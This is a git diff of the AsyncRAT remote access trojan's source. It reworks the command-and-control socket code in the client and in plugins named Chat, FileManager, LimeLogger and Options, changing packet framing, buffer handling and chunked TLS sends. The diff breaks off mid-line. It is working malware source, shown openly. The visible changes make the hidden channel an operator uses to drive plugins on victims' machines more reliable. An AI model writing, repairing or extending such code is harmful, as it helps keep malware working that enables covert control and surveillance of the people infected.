diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index 18e6c68..f8f4851 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -25,9 +25,9 @@ namespace Client.Connection public static Socket TcpClient { get; set; } //Main socket public static SslStream SslClient { get; set; } //Main SSLstream private static byte[] Buffer { get; set; } //Socket buffer - private static long Buffersize { get; set; } //Recevied size + private static long HeaderSize { get; set; } //Recevied size + private static long Offset { get; set; } // Buffer location private static Timer KeepAlive { get; set; } //Send Performance - private static MemoryStream MS { get; set; } //Socket MS public static bool IsConnected { get; set; } //Check socket status private static object SendSync { get; } = new object(); //Sync send private static Timer Ping { get; set; } //Send ping interval @@ -89,11 +89,12 @@ namespace Client.Connection IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Send(IdSender.SendInfo()); KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000)); - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -131,7 +132,6 @@ namespace Client.Connection KeepAlive?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } @@ -148,34 +148,40 @@ namespace Client.Connection int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Client Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -208,25 +214,21 @@ namespace Client.Connection if (msg.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs index 0ff8eaa..055c3bc 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -90,12 +91,11 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -107,34 +107,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -166,25 +172,22 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs index be81e18..b9ec1ad 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -86,13 +87,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,25 +169,22 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs index ef4dad4..c0ff309 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs @@ -20,9 +20,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -45,8 +45,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -92,13 +93,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -110,34 +110,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -169,25 +175,22 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs index d0e8a12..d6bc1a2 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs @@ -24,8 +24,8 @@ namespace Plugin public Socket TcpClient { get; set; } public SslStream SslClient { get; set; } private byte[] Buffer { get; set; } - private long Buffersize { get; set; } - private MemoryStream MS { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } public bool IsConnected { get; set; } private object SendSync { get; } = new object(); private static Timer Tick { get; set; } @@ -49,8 +49,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } @@ -85,65 +86,66 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } - public void ReadServertData(IAsyncResult ar) + public void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { - if (!Connection.IsConnected || !IsConnected) + if (!TcpClient.Connected || !IsConnected) { IsConnected = false; - Dispose(); return; } int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; - Dispose(); return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { IsConnected = false; - Dispose(); return; } } catch { IsConnected = false; - Dispose(); return; } } @@ -166,21 +168,16 @@ namespace Plugin if (msg.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs index bcbcafd..fe39489 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -87,12 +88,11 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,25 +169,22 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs index be81e18..b9ec1ad 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -86,13 +87,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,25 +169,22 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs index be81e18..a285c65 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 